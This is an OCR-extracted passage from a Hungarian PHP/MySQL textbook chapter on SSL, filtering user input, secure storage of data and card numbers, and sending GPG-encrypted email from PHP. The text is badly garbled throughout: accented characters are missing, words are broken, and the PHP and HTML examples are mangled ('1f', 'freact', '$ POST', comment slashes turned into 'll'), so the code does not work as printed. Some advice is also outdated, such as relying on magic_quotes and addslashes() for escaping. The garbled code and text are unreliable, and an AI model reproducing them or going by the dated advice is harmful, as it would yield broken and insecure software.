SSL kapcsolaton keresztli adatkldskor az albbiak trtnnek:
l. Az adatok kezelhet csomagokra bontsa.

2. Az egyes csomagok (opcionlis) tmrtse.


3. Minden csomag hash algoritmussal srnitott zenethitelest kdot (MAC) kap.
4. A MAC s a tmrtett adat kombinlsa s titkostsa.
5. A titkostott csomagok fejrsz-informcit kapnak, s elklddnek a hlzatnak.

A teljes folyamatot a 18.4 bra mutatja.

Adatunk

Adatcsomagok

Tmrtett adatok

zenethitelest kd

Titkostott csomagok

TCP csomagok

18.4 bra: Az SSL

fejrsz WH

l!::t:ttl

t:tm

'l

klds eltt Jeldarabolja, tmrti, hasheli s titkostja az adatokat.

Az brbl kitnik, hogy a TCP fejrsz hozzadsa az adat titkostsa utn trtnik meg. Ez azt jelenti, hogy az rvlasztsi
informcit mg mindig meg tudjk bolygatni, s br azt nem fogjk tudni, hogy rnilyen informcikat kldzgetnk, ltni
fogjk, ki kinek kldi azokat.
Annak, hogy az SSL-ben a titkosts eltt trtnik a tmrts, az az oka, hogy noha a hlzati forgalom nagy rsze a hl
zaton val tovbbts eltt tmrthet (s gyakran valban trndtik is), a titkostott adatok nem jl tmrthetk. A tm
rtsi algoritmusok az adatokon belli ismtldseket vagy mintkat prblnak azonostani. ltalban semmilyen haszonnal
nem jr, ha az adatok titkostsa, azaz gyakorlatilag vletlenszer bitekk alaktsa utn prbljuk meg tmrteni azokat. Kel
lemeden lenne, ha az SSL, amelynek clja a hlzatbiztonsg fokozsa, mellkhatsknc jelents mrtkben nveln a hlzati
forgalmat.
Noha az SSL viszonylag sszetetten mkdik, a Felhasznlk s a fejlesztk ell rejrve marad a trtntek nagy rsze, mivel
a protokoll kls felletei meglv protokollokat msolnak.
A jelenleg 1.1-es verzinl jr Transport Layer Security (szlltsi rtegbeli biztonsg, TLS) kzvetlenl az SSL 3.0-ra
pl, de az SSL gyengesgeit kikszbl s nagyobb rugalmassgot knl fejlesztseket tartalmaz. A TLS-t egy valban nylt
szabvnynak sznjk, hogy ne egy egyeden szervezet ltal meghatrozott, majd msok szmra elrhetv tett szabvny legyen.

18

282

18. fejezet

Felhasznli bevitel szrse


A biztonsgos webes alkalmazsok fejlesztsnek egyik alapelve, hogy soha nem szabad megbzni semmilyen felhasznli
bevitelben. Mieltt fjlba vagy adatbzisba tennnk, vagy valamilyen rendszerparancsnak tadnnk a felhasznlktl rkez
adatokat, mindig szrjk azokat!
A knyv tbb rszben szba kerltek mr a felhasznli bevitel szrsre hasznlhat mdszerek. Hivatkozskppen rviden megemltjk most ezeket:
Mieltt a felhasznli adatokat tadnnk az adatbzisnak, az addslashes () fggvnnyel szrjk ket! A fggvny
vdkarakterrel ltja el az adatbzis szmra problmt okozni kpes karaktereket. A stripslashes () fggvnnyel
llithatjuk vissza az adatokat eredeti formjukba.
Kapcsoljuk be php. ini fjlunkban a magic_quotes_gpc s magic_quotes_runtime direktvt! Ezek auto
matikusan elvgzik neknk a vdkarakterek hozzadst s eltvoltst. A magic_quotes_gpc a bejv GET, POST
s stivltozkra alkalmazza az ilyen formzst, a magic_quote_ runtime pedig az adatbzisba bemen s onnan
kijv adarokkal teszi ugyanezt.
Amikor a system () vagy az exee () meghvsakor, illerve forditott aposztrfok kzte (') felhasznli adatot adunk
t, hasznljuk az escapeshellcmd () fggvnyt! Ez vdkarakterekkel ltja el az sszes olyan metakaraktert, amivel
a rosszindulat felhasznlk nekik tetsz parancsok futtatsra knyszerthetik rendszernket.
A strip_tags () fggvnnyel HTML s PHP cmkket tvoltharunk el karakterlncokbL Hasznlatval megaka
dlyozhatjuk, hogy a felhasznlk rosszindulat kdot helyezzenek el a bngszbe sznt forrsban.
Hasznljuk a htmlspecialchars () fggvnyt, amely a megfelel HTML entityv alaktja a karaktereket! A< ka
raktert pldul &lt; -v konvertlja. A fggvny veszlytelen karakterekk alaktja az sszes kdcmkt (script tag).

Biztonsgos trols megvalstsa


A trolt adatok hrom tpust (HTML vagy PHP fjlok, kdhoz kapcsold adatok s MySQL adatok), amit a 18.1 brn
egymstl elklntve ltunk, gyakran ugyanannak a lemeznek klnbz rszein troljuk. Az eltr adattpusok eltr trolsi
kvetelmnyeket tmasztanak, ezrt kln-kln fogunk foglalkozni velk.
A legveszlyesebb troland adattpus a futtathat tartalom. Weboldal esetben ez jellemzen a kdokat jelenti. Nagyon
kell gyelnnk, hogy a fjlkezelsi jogosultsgokat megfelelerr lltsuk be a weboldal hierarchijban (Apache szerveren
a htdocs-bl, IlS szerveren az inetpub-bl indul knyvtrft rtjk ez alatt). Ms felhasznlknak csak olvassi jogosult
sguk legyen kdjainkhoz, nem szabad, hogy rjanak beljk vagy szerkesszk azokat!
Ugyanez igaz a weboldal hierarchijn bell rallhat knyvtrakra. Csak mi tudjunk rni ezekbe! Ms felhasznlknak,
kztk annak is, amelyknt a webszerver fut, nem szabad, hogy jogosultsguk legyen rni a kiszolglrl letlthet knyvtrak
ba vagy j fjlokat ltrehozni azokban. Ha megengednnk msoknak, hogy fjlokat rjanak ide, rosszindulat kdot rhatn
nak, s a kiszolglra berlrve futtathatnk azt.
Ha kdjainknak fjlba rsi jogosultsgra van szksgk, a webes fastruktrn kivl hozzunk ltre e clbl egy knyvtrat!
Klnsen igaz ez a fjlfeltlt kdokra. A kdoknak s az lcaluk rt adatoknak nem szabad keveredni k.
Bizalmas adatok rsa esetn ksztetst rezhetnk arra, hogy elszr titkostsuk azokat. Ennek azonban ltalban nem sok
rtelme van. Kzelrsk meg gy: Ha van kiszolglnkon egy hitel kartas zarnak. txt nev fjl, s egy cracker hozzf
rst szerez a kiszolglhoz, s el rudja olvasni ezt a fjlt, akkor minden mst is megtall, nem igaz? Az adatok titkostshoz
s visszafejtshez szksgnk van az adarokat titkosr programra, az adatokat visszafejt programra, illerve egy vagy tbb
kulcsfjlra. Ha a cracker hozzfr az adatainkhoz, akkor minden bizonnyal semmi sem akadlyozza abban sem, hogy elolvassa
kulcs- vagy egyb fjljainkat.
Lehet annak rtelme, hogy titkostjuk egy webszervererr az adatokat, de csak akkor, ha a visszafejtshez szksges szofrvert
s adatot nem ugyanazon a kiszolgln, hanem egy msik gpen troljuk. A bizalmas adatok biztonsgos kezelsnek egyik j
mdszere az, ha a kiszolgln titkostjuk, majd- pldul e-mailben- egy msik gpre tovbbtjuk ket.
Az adatbzisadatok az adatfjlokhoz hasonlk. Ha megfelelerr lltjuk be a MySQL-t, csak a MySQL rhat az adatfjljaiba.
Ez azt jelenti, hogy csak a MySQL-en belli felhasznlk hozzfrsei miatt kell aggdnunk. Foglalkoztunk mr a MySQL
sajt jogosultsgi rendszervel, amely konkrt jogosultsgokat rendel a konkrt gpeken lv konkrt felhasznli nevekhez.
Kln figyelemre rdemes az, hogy gyakran kell PHP kdba MySQL-es jelszt rni. PHP kdjaink ltalban nyilvnosan
betlthetk. Ez a problma nem is olyan katasztroflis, mint elsre tnhet. Ha webszervernk konfigurcija megfelel, akkor

18

PHP forrsaink kvlrl nem lesznek lthatk.


Amennyiben kiszolglnk gy van bellirva, hogy a PHP rtelmezvel dolgozza fel a

php

kiterjeszts fjlokat, akkor

a kvlllk nem fogjk tudni megtekinteni az rtelmezs eltti forrskdot. Egyb kiterjesztsek hasznlara esern azonban
vatosan kell eljrni. Ha . inc fjlokat helyeznk a webes knyvtrakba, az azokar krk a feldolgozatlan forrsr fogjk meg-

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-Iel

kapni. A heilleszrend fjlokat a webes fastruktrn kvl kell elhelyezni, s gy kell konfigurlni a kiszolglt, hogy ne teljest
se az ilyen fjlokta vonatkoz krseket, vagy pedig . php kiterjesztst kell adni ezeknek az llomnyoknak is.
Amennyiben msokkal osztozunk a kiszolgln, MySQL-jelszavunk lthatv vlhat a gp azon ms felhasznli szmra,
akik ugyanezzel a kiszolglval futtatnak kdokat. Rendszernk belltsaitl fggen ez a helyzet megelzhet. A prebl
mt azzal tudjuk elkerlni, ha a kiszolglt gy lltjuk be, hogy klnll felhasznlkknt futtassa a kdokat, vagy minden
felhasznlval a webszerver sajt pldnyt futtassa. Ha nem mi vagyunk webszervernk rendszergazdja (ami megosztott
kiszolgl esetn nagy valsznsggel igaz), akkor rdemes lehet megtrgyalni a rendszergazdval ezt a krdst s ttekinteni
vele a biztonsgi lehetsgeket.

Hitelkrtyaadatok trolsa
A bizalmas adatok biztonsgos trolsnak ttekintse utn rdemes kln foglalkozni a bizalmas adatok egy klnleges fajt
jval. Az internet-felhasznlkat klnsen aggasztja hitelkrtyaszmaik biztonsga. Ha trolni kvnjuk ezeket, nagyon krl
tekinten jrjunk el! Tegyk fel magunknak a krdst, hogy mirt troljuk ezeket, illetve valban szksg van-e a trolsukra!
Mire hasznlunk egy krryaszmot? Ha egyszeri tranzakcinl vals idben dolgozzuk fel a krtyaszmot, akkor jobban
jrunk, ha bekrjk a vsrltl, s trols nlkl tovbbtjuk a tranzakci-feldolgoz tjrnak.
Ha rendszeres djat szednk be, pldul folyamatos elfizets esetn havonta terheljk a krtyt, akkor ez a meg
kzelts nem megfelel szmunkra. Ebben az esetben rdemes mrlegelni annak lehetsgt, hogy a krtyaszmokat
a webszervernkn kvl, valahol mshol troljuk.
Amennyiben sok vsrl krtyaadatt tervezzk trolni, gondoskodjunk kellen kpzett s kiss paranois rendszergazd
rl, aki elegend idvel rendelkezik arra, hogy az opercis rendszernkkel s az ltalunk hasznlt egyb termkekkel, illetve
azok biztonsgval foglalkoz informciforrsokat rendszeresen ellenrizze.

Titkosts hasznlata PHP,ben


Egyszer, mgis hasznos feladat, amivel szemlltethetjk a titkostst: a titkostott e-mailek kldse. vekig gyakorlatilag
a PGP volt a titkostott e-mail szabvnya. A PGP-t, ami egybknt a Pretty Good Privacy (Meglehetsen j adatvdelem) rvi
dtse, Philip R. Zimmermann rta kifejezetten azzal a cllal, hogy adatvdelmet nyjtson az elektronikus levelezshez.
A PGP freeware verzii brki szmra elrhetk, de ne feledjk, hogy ez nem ingyenes szofrver! A freeware verzi keres
kedelmi clra nem hasznlhat. A PGP Corporationtl letlthet a freeware, illetve megvsrolhat a fizets licenc. Tovbbi
informcirt ltogassunk el a http://www.pgp.com oldalra!
Ha szeremnk rszletesebben megismerni a PGP trtnett s az elrhet verzikat, olvassuk el Philip Zimmerman"Where
to Get PGP?" (Honnan szerezzk be a PGP-t?) rst: http://www.philzimmermann.com/EN/fmdpgp/findpgp.html.
Az elmlt idszakban a PGP egy nylt forrskd alternatvja is elrhetv vlt. A GPG rvidtssel ismert Gnu Privacy
Guard a PGP ingyenes vltozata. Nem tartalmaz szabadalmaztatott algoritmusokat, s korltozs nlkl hasznlhat kereske
delmi clra is.
A kt termk igen hasonl mdon ltja el ugyanazt a feladatot. Ha a parancssori eszkzket kvnjuk hasznlni, akkor
a kzttk meglv klnbsgek nem szmtanak, de mindkt termk eltr felletekkel rendelkezik (pldul a levelezprog
ramokhoz tartoz bvtmnyekkel a berkez e-mailek automatikus visszafejtsre).
A GPG a http://www.gnupg.org oldalrl szerezhet be.
A kt termket akr egytt is hasznlhatjuk, titkostott zenetet GPG-vel ltrehozva olyan valaki szmra, aki PGP-vel fog
ja visszafejteni azt (feltve, hogy a szofrver friss verzijt futtatja). Mivel bennnket az zenetek webszervererr val ltrehozsa
rdekel, GPG-t hasznl pldt fogunk megvizsglni, de PGP alkalmazsa esetn sem lenne nagy eltrs az itt lertaktL
A knyv pldinak kvetelmnyein tlmenen GPG-re is szksg lesz a most kvetkez kd mkdshez. Elfordulhat,
hogy a GPG mr teleptve van rendszernkre. Ellenkez esetben sincs semmi gond - a teleptsi folyamat magtl rtetd,
viszont a bellts kicsit trkks lehet.

A GPG teleptse
A GPG Linux gpre teleptshez a www.gnupg.org oldalrl tlthetjk le a megfelel tmrtett fjlt. Attl fggen, hogy
a . tar . g z vagy a . tar. b z 2 tmrtett llomnyt vlasztjuk, a gunzip vagy a

tar

segtsgvel csomagolhatjuk ki.

A program fordtshoz (compile) s teleptshez ugyanazokat a parancsokat kell hasznlni, mint a Linux-prograrnek tbbs
gnl:
configure (vagy rendszernktl fggen . l configure )

283

284

18.fezet

make
make install

Ha nem vagyunk rendszergazdk (root felhasznlk), a --prefix opcival kell a konfigurl kdot futtatni, valahogy gy:
. lconfigure --prefix=lkonyvtarunkleleresilutvonala
Aztt kell ezt az opcit hasznlni, mett a nem root felhasznlknak nincsen hozzfrsle a GPG alaprtelmezett knyvtrhoz.
Ha minden jl megy, a GPG fordtsa s a futtathat program a lusr llocal Ibinl gpg (vagy az ltalunk meghatrozott
knyvtrba) kerl. Sok belltst mdosthatunk, a rszleteket a GPG dokumentcijban talljuk.
Windowsos szerver esetn a folyamat mg ennl is egyszerbb. Tltsk le a zip fjlt, csomagoljuk ki, s helyezzk a gpg.
exe fjlt a megfelel knyvtrba (a C: \Windows\ vagy valami hasonl kivlan megfelel)! Hozzunk ltre egy knyvtrat

a C: \gnupg helyen! Ezt kveten nyissuk meg a parancssort, majd gpeljk be: gpg!
A GPG-t vagy a PGP-t arra a rendszerre is teleptennk kell, illetve azon a rendszeren is ltre kell hozni egy kulcsprt, aho
va az e-mailt kldeni kvnjunk.
A webszerveren nagyon kevs klnbsget tallhatunk a GPG s a PGP parancssori verzii kztt, gy akr a GPG-t is
hasznlhatjuk, lvn az ingyenes. Azonban a gpre, ahol a leveleket olvassuk, rdemes lehet megvsrolni a PGP fizets vlto
zatt, mert annak szebb a levelezprogramhoz tartoz, grafikus kezelfellete.
Ha mg nem rendelkeznk a kulcsprral, lltsunk el egyet a gpen, amin a levelet olvasni fogjuk! Emlkezhetnk r, hogy
a kulcspr egy nyilvnos s egy titkos (privt) kulcsbl ll. Az elbbit msok (s PHP kdjaink) hasznljk a levl kldse eltt
annak titkostsra,

az

utbbival mi magunk fejtjk vissza a berkez zeneteket, s rjuk al a kimen leveleket. Fontos, hogy

a kulcsot a levl olvassra hasznlt gpen s ne a webszerveren hozzuk ltre, mert titkos kulcsot nem ajnlott kiszolgln t
rolni.
Amennyiben a GPG parancssori vltozatval lltjuk el a kulcsokat, rjuk be az albbi parancsot:
gpg --gen-key

Szmos krdsre kell ekkor vlaszt adnunk. A legebbnl megfelel, ha egyszeren az alaprtelmezett vlaszt fogadjuk el.
A program klnbz sorokban megkrdezi valdi nevnket, e-mail cmnket, illetve vr egy megjegyzst, amiket a kulcs
elnevezsre hasznl. (Az n sajt kulcsom neve 'Luke Well ing <luke@tangledweb.com.au>'. Gondolom, rthet
a sma. Ha a megjegyzst is megadnm, az a nv s a cm kz kerlne.).
Az albbi paranccsal exportlhatjuk az j kulcsprbl a nyilvnos kulcsot:
gpg --export >

fajlnev

A parancs futtatsnak eredmnyeknt olyan binris fjlt kapunk, amely alkalmas arra, hogy ms gpen lv GPG vagy
PGP kulcstartba (key ring) importljuk. Ha viszont e-mailben szeretnnk ezt a kulcsot elkldeni msoknak, hogy importlni
tudjk kulcstartjukba, a kvetkezkppen hozhatjuk ltre az ASCII verzijt a fjlnak:
gpg --export -a > fajlnev

A nyilvnos kulcs kinyerse urn FTP segtsgvel feltlthetjk a fjlt a webszerveren lv felhasznli fikunkba.
A kvetkez parancsok a Unix hasznlatt felttelezik. A lpsek Windows alatt is ugyanezek, de a knyvtrak neve s
a rendszerparancsok eltrnek. Elszr is jelentkezznk be a kiszolgln lv felhasznli fikunkba, majd vltoztassuk meg
a fjljogosultsgokat, hogy ms felhasznlk is olvashassk az llomnyt! Gpeljk be a kvetkezket:
chrnod 644 fajlnev

Ltre kell hoznunk egy kulcstartt, hogy a PHP kdjainkat futtat felhasznl hasznlni tudja a GP G-t. Hogy ez melyik
felhasznl, az kiszolglnk belltsaitl fgg. Gyakran a nobody, de lehet ms is. Vltoztassuk meg gy, hogy mi legynk
a webszerver felhasznljal Ehhez rendszergazdai (root) hozzfrsre van szksg a kiszolglhoz. A webszerver sok rend
szeren nobody-knt fut. A most kvetkez pldk ezt a felhasznlt felttelezik. ( Rendszernkn a megfelel felhasznlra
vltoztathatjuk ezt). Ha ez ll rendszernkre is, gpeljk be a kvetkezket:
su root
su nobody

Hozzunk ltre egy knyvtrat, amelyben a nobody trolni tudja a kulcstartjt s az egyb GPG konfigurcis informci
kat! Ennek a nobody alaprtelmezett felhasznli knyvtrban (home directory) kell lennie.
Az egyes felhasznlk alaprtelmezett knyvrrt az letclpasswd fjlban hatrozhatjuk meg. Sok Linux rendszeren
a nobody alaprtelmezett knyvtra a l, amelybe ez a felhasznl nem jogosult rni. Szmos BSD rendszeren a nobody alap
rtelmezett knyvtra a lnonexistent, amelybe, mivel nem ltezik, nem lehet rni. Rendszernkn a nobody felhasznl
nak a l tmp lett alaprtelmezett knyvtrknt megadva. Gyzdjnk meg arrl, hogy webkiszolglnk felhasznlja rendelke

18

zik alaprtelmezett knyvtrra!, amelybe rni tud!


Gpeljk be a kvetkezket:
cd -

___
,...
,

mkdir .gnupg

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

285

A nobody felhasznlnak sajt alrkulcsra van szksge. Ennek ltrehozshoz futtassuk jra az albbi parancsot:
gpg --gen-key

Mivel a nobody felhasznl vlheten kevs szemlyes jelleg e-mailt kap, mi is ltrehozhatjuk szmra a csak alr kul
csot. Ennek a kulcsnak egyetlen clja, hogy megbzhassunk a korbban Icinyert nyilvnos kulcsban. Az albbi paranccsal impor
tljuk a korbban exportlt nyilvnos kulcsot:
gpg --import fajlnev

Hogy kzlhessk a GPG-vel: meg kvnunk bzni ebben a kulcsban, az albbi paranccsal szerkesztennk kell a kulcs rulaj
donsgait:
gpg --edit-key 'Luke

Welling

<luke@tangledweb.com.au>'

A fenti sorban az egyszeres idzjelek kztti szveg a kulcs neve. Nyilvnval: az olvas kulcsnak nem 'Luke Welling
<luke@tangledweb. com.au>' lesz a neve, hanem a ltrehozsnl megadott nv, megjegyzs s e-mail cm kombincija.
A prograrnon belli lehetsgek kztt megtalljuk a help-et is, amely az elrhet parancsokat- trust, sign s save
ismerteti.
A trust-ot begpelve kzljk a GPG-vel, hogy teljes mrtkben megbzunk kulcsunkban. A sign begpelsvel al
rjuk a nobody felhasznl privt kulcst hasznl nyilvnos kulcsot. Vgl a save parancsot begpelve a vltoztatsainkat
elmeneve lpjnk ki a programbl!

A GPG tesztelse
A GPG ezzel be lett lltva, hasznlatra ksz. A tesztelshez hozzunk ltre nmi szveget tartalmaz fjlt, majd mentsk el
nven!
Gpeljk be az albbi parancsot (kulcsunk nevt rtelemszeren berva):

teszt.txt

gpg -a --recipient 'Luke Welling <luke@tangledweb.com.au>' --encrypt teszt.txt

Az albbi, nem biztonsgos memria hasznlatra utal figyelmeztetst kell kapnunk:


gpg:

Warning: using insecure memory!

s ltrejn a teszt.txt.asc nev fjl. Ha megnyitjuk ezt, az albbihoz hasonl, titkostott zenetet ltunk:
-----BEGIN PGP MESSAGE----Version: GnuPG vl.0.3
Comment:

(GNU/Linux)

For info see http://www.gnupg.org

hQEOAODU7hVGgdtnEAQAhr4HgR7xpiBsK9CiELQw85+klQdQ+p/FzqL8tiCrQ+B3
0GJTEehPUDErwqUw/uQLTds0rloPSriAZ7c6GVkhOYEVBj2MskT81IIBvdo950yH
K9PUCvg/rLxJlkxe4Vp8QFETSE3Fdii/ly8VPSgSTE7gAgm0SbFf3S91PqwMyTkD
/2oJEvL6e3cP384s0i8lrBbDbOUAAhCjjXt2DX/uX9q6Pl8QW56UICUOn4DPaWlG
/gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4Cicih7KliMHY4RKdnCWQf27loE+8i9
cJRSCMsFioi6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiLOTG+FrNrE
tvBVMS0nsHu7HJey+oY4Z833p k5+MeVwYumJwlvHjdZxZmV6wz46G02XGT17b28V
wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdHOXa+NpqbH7q3+xXmd30hDR
+u7t6MxTLDbgC+NR
=gfQu
-----END PGP MESSAGE-----

Hogy visszakapjuk az eredeti szveget, tovbbtsuk ezt a fjlt arra a rendszere, ahol ellltottuk a kulcsot, majd futtassuk az
albbi parancsot:
gpg teszt.txt.asc

A szveg a korbbival megegyez nev,jelen esetben a teszt. txtfjlba fog rdni.


A szveg kpernyre ratshoz a -d kapcsolt kell hasznlnunk:
gpg -d teszt.txt.asc

Ha az alaprtelmezettl eltr nev fjlba szeretnnk helyezni a szveget, a -o kapcsolt hasznlva, illetve a kimeneti llo
mnyt a kvetkezkppen meghatrozva tehetjk ezt meg:
gpg -do

teszt.out teszt.txt.asc

Lthatjuk, hogy elszr a kimeneti fjlt kell megneveznnk.


Amennyiben a GPG gy van belltva, hogy a PHP kdjainkat futtat felhasznl parancssorban tuclja hasznlni, majdnem
teljesen megvagyunk. Ha ez nem lehetsges, egyeztessnk a rendszergazdval, vagy tanulmnyozzuk a GPG dokumentcijt!
A 18.1s a 18.2 pldakd a GPG-t PHP-vel meghvva teszi lehetv titkostott e-mailek kldst.

18

286

18.fgezet

18.1 pldakd: titkos_ mail. php-A titkostott e-mailek kldsre szolgl HTML rlap
<html>
<body>
<hl>Kldjn nekem titkostott e-mailt!</hl>
<?php
ll ha nem az alaprtelmezett portokat,
ll s SSL-hez a 443-ast hasznljuk,
if($ SERVER['SERVER_PORT'] !=443)

norml forgalomhoz a 80-ast

mdostani kell ezt a sort

echo '<p style="color: red">FIGYELMEZTETS: nem SSL


hasznlatval csatlakozott az oldalhoz. zenett
brki ms is elolvashatja.</p>';
?>
<form method="post" action="titkos_mail kuldese.php">
<p>E-mail cme:<br/>
<input type="text" name="felado" size="40"/></p>
<p>Trgy:<br/>
<input type="text" name="targy" size="40"/></p>
<p>zenet:<br/>
<textarea name="uzenet" cols="30" rows="l0"></textarea></p>
<br/>
<input type="submit" name="kuldes" value="Klds"/>
</form>
</body>
</html>

18.2 pldakd: titkos_mail_kuldese .php-A GPG-t meghv s a titkostott e-mailt elkld PHP kd
<?php
//rvid vltoznevek ltrehozsa
$felado = $ POST['felado'];
$targy

$ POST['targy'];

$uzenet = $ POST['uzenet'];
$cmzett = 'luke@localhost';
ll Kzljk a gpg-vel,

hol tallja a kulcstartt

ll Ezen a rendszeren a nobody felhasznl alaprtelmezett knyvtra a /tmp/


putenv('GNUPGHOME=/tmp/.gnupg');

18

//egyedi fjlnv ltrehozsa


$bemeno fajl

tempnam('',

$kimeno_fajk

$bemeno fajl.'.asc';

'pgp');

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

287

/la felhasznl szvegnek a fjlba rsa


$fp = fopen($bemeno faJl,
fwrite($fp,

'w');

$uzenet);

fclose($fp);

//parancsunk belltsa
$parancs = "/usr/local/bin/gpg -a \\
--recipient 'Luke Welling <luke@tangledweb.com.au>' \\
--encrypt

-o $kimeno_fajl $bemeno_fajl";

ll gpg parancsunk futtatsa


system($parancs,

$eredmeny);

/la titkositatlan temp fjl trlse


unlink($bemeno_fajl);

if($eredmeny==0)

$fp = fopen($kimeno_fajl,
1f((!$fp)

l l

$eredmeny =
else

'r');

(files1ze($k1meno fajl)==O))
-

1;

/la titkostott fjl olvassa


$tartalom = freact ($fp,

filesize ($kimeno_fajl));

/la titkostott temp fjl trlse


unlink($kimeno_fajl);

mail($cimzett,

$targy,

$tartalom,

"Felad:

".$felado."\n");

echo '<hl>zenet elkldve<lhl>


<p>zenett titkostottuk s elkldtk.<lp>
<p>Ksznjk.<lp>';

if($eredmeny!=O)
echo '<hl>Hiba:<lhl>
<p>Az zenetet nem sikerlt tikostani.</p>
<p>Levelt nem kldtk el.<lp>
<p>Elnzst krnk.<lp>';

?>

Nhny aprbb mdostst vgre kell hajtanunk a kd mkdshez. Az e-mailek a $cmzett vltozban meghatrozott
e-mail cmre lesznek elkldve.
A 18.2 pldakdban a GPG kulcstart helynek megfelelen mdostani kell az albbi sort:
putenv('GNUPGHOME=Itmpl.gnupg');

Rendszernkn a kiszolgl nobody felhasznlknt fut, s alaprtelmezett knyvtra a l tmp l.


A tempnam () fggvnnyel ltrehoztunk egy egyedi ideiglenes fjlnevet. Meghatrozhatjuk a knyvtrat s a fjlnv eltag

,.

jt is. Krlbell egy msodpercen bell ltrehozzuk s kitrljk ezeket a fjlokat, gy nem igazn fontos a nevk, a lnyeg.
hogy egyedi legyen. Pldnkban a 'pgp ' eltagot alkalmaztuk, de hagytuk, hogy a PHP a rendszer ideiglenes knyvrrt
hasznlja.

18

288

18. fejezet

Ez a parancs
$parancs

"/usr/local/bin/gpg

--recipient

-a \\

'Luke Weiling <luke@tangledweb.com.au>'

\\

--encrypt -o $kimeno_fajl $bemeno_fajl";

a GPG meghvshoz hasznland parancsot s paramtereket lltja be. Sajt hasznlati krlmnyeinknek megfelelen
kell mdostanunk. Amikor pldul parancssorban hasznljuk, kzlnnk kell a GPG-vel, melyik kulccsal titkostsa az
zenetet.
A
system($parancs,

$eredmeny);

parancs futtaga a $parancs vltozban trolt utastsokat, s az $eredmeny vltozban trolja el a visszatrsi rtket.
Nem felttlenl szksges foglalkoznunk a visszarrsi rtkkel, de segtsgvel - s egy if utasts segtsgvel - kzlhetjk
a felhasznlval, ha valami balul sl el.
Ha befejeztk munknkar az ideiglenes fjlokkal, az unlink () fggvnnyel rrlhegk ket. Ez azt jelenti, hogy a felhasz
nl nem titkosrorr leveleit rvid ideig troljuk a kiszolgln. Ha a kiszolgl a kd futtatsa kzben lell, a fjl akr a szerve
ren is ragadhat.
Ha foglalkoztat bennnker kdunk biztonsga, fontos, hogy a rendszernkn belli sszes informcimozgst figyelembe
vegyk. A GPG ritkosrja levelnket, s lehetv teszi a fogad szmra annak visszafejtst, de ezt megelzen hogyan rkezik
a kldrl az informci' Ha webes felletet knlunk GP G-vel ritkosrott levelek kldsre, az informci tja a 18.5 brhoz
hasonl lesz.
l

Felad
bngszje

Webszerver

Cmzett
levelezszervere

Cmzett
levelezkliense

18.5 bra: A titkostott levelezalkalmazsban az zenetet hromszor tovbbljuk az interneten.


Az brn minden nyl az egyik gprl a msikra kldrr zenetet jelkpezi. Elkldsekor az zenet az interneten kzlekedik,
s szmos kztes hlzaton s gpen haladhat keresztl. A pldban vizsglt kd az brn a Webszerver feliratot visel gpen
tallhat. A webszerveren az zenet a cmzett nyilvnos kulcsval lesz titkosrva. Ezt kveten a kiszolgl SMTP-n keresztl
elkldi a cmzett levelezszervernek. A cmzett- pldul POP vagyIMAP protokollon keresztl- csatlakozik levelezszer
verhez, majd levelezkliensvel letlti az zenetet.Itt titkos kulcsval visszafejti a levelet.
A 18.5 brn az l-es, 2-es s 3-as nyl jelli az adarrovbbtst. A 2-es s 3-as szakaszban az zenet GPG-vel titkosrva
tovbbtdik, a titkos kulcs nlkl senki nem rudja visszafejteni. Az l-es szakaszban azonban a felad ltal az rlapba bevitt
szvegknt tovbbrdik az zenet.
Ha a tovbbrani kivnt informci elg fontos ahhoz, hogy a msodik s harmadik krben titkosrva kldjk azt, akkor
butasg azt els krben titkosrs nlkl tovbbtani. Ezrt ez a kd SSL-es kiszolgln hasznland.
Ha SSL nlkl prblunk meg kapcsoldni a kdhoz, figyelmeztetst kapunk. A $_SERVER [ 'SERVER_ PORT' l rtkt
ellenrizve gyzdhetnk meg errl. Az SSL kapcsolat a 443-as porton keresztl jn. Minden ms kapcsolat hibt eredm
nyez.
A hibazenet megjelenrse helyerr mshogyan is kezelhegk az ilyen helyzetet. P ldul SSL kapcsolaton keresztl tir
nythaguk a felhasznlt ugyanahhoz az URL-hez. Dnthetnk gy is, hogy nem foglalkozunk vele, mert ha az rlapot biz
tonsgos kapcsolaton keresztl kldjk el, akkor a hibnak nincsen jelentsge. A lnyeg az, hogy a felhasznl ltal az rlapba
bevitt adatokat biztonsgosan kldjk el. Az rlap mveleteknt (action) megadhatnnk egyszeren a teljes URL-t is.
A nylt rlap cmkje jelenleg a kvetkezkppen nz ki:
<form method="post" action="titkos_ma1l kuldese.php">

Mdosthatjuk gy, hogy az adatokat akkor is SSL-en keresztl kldjk, ha a felhasznl SSL nlkl csatlakozott:
<form method="post" action="https://webserver/titkos_mail_kuldese.php">

Ha gy berjuk kdunkba a teljes URL-t, biztosak lehetnk benne, hogy a ltogatk adatai SSL hasznlatval lesznek el
kldve, de ha msik szerveren vagy msik knyvtrban hasznljuk a kdot, minden esetben mdostani kell.

18

Noha sem most, sem ms hasonl helyzetben nem felttlenl fontos, hogy az res rlapot SSL-en keresztl kldjk a fel
hasznlnak, mgis rdemes ezt a megoldst vlasztani. A bngszjk llapotsorn megjelen kis lakat ikon megersti az
emberekben azt a hitet, hogy az ltaluk megadorr informci biztonsgos mdon megy el. gy nem kell a HTML forrskdban
az rlap action rulajdonsgt kibogarszniuk ahhoz, hogy nyugodtak lehessen adataik biztonsga fell.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

Tovbbi olvasnival
Az SSL 3.0-s verzijnak specifikcija a Netscape oldalrl tlthet le: http:/ /wp.netscape.com/eng/ssl3/.
Ha szeretnnk tbbet megtudni a hlzatok s a hlzati protokollok mkdsrl, olvassuk el Andrew S. Tanenbaum
Computer Networks (Szmtgpes hlzatok) cm klasszikus alapoz knyvt!

Hogyan tovbb:
Ezzel vgre rtnk az elektronikus kereskedelemmel s a biztonsggal kapcsolatos krdsek ttekintsnek. A knyv kvet
kez rszben halad szint PHP-mdszerekkel ismerkednk meg. Egyebek kzte megtudhag uk azt, hogyan lphetnk
kapcsolatba az interneten lv ms gpekkel, hogyan hozhatunk ltre menetkzben kpeket, illetve hogyan alkalmazhatjuk
a

munkamenet-vezrlst.

289

IV
Halad PHP--mdszerek

19

A fjlrendszer s a kiszolgl elrse

20

Hlzati s protokollfggvnyek hasznlata

21

Dtum s id kezelse

22

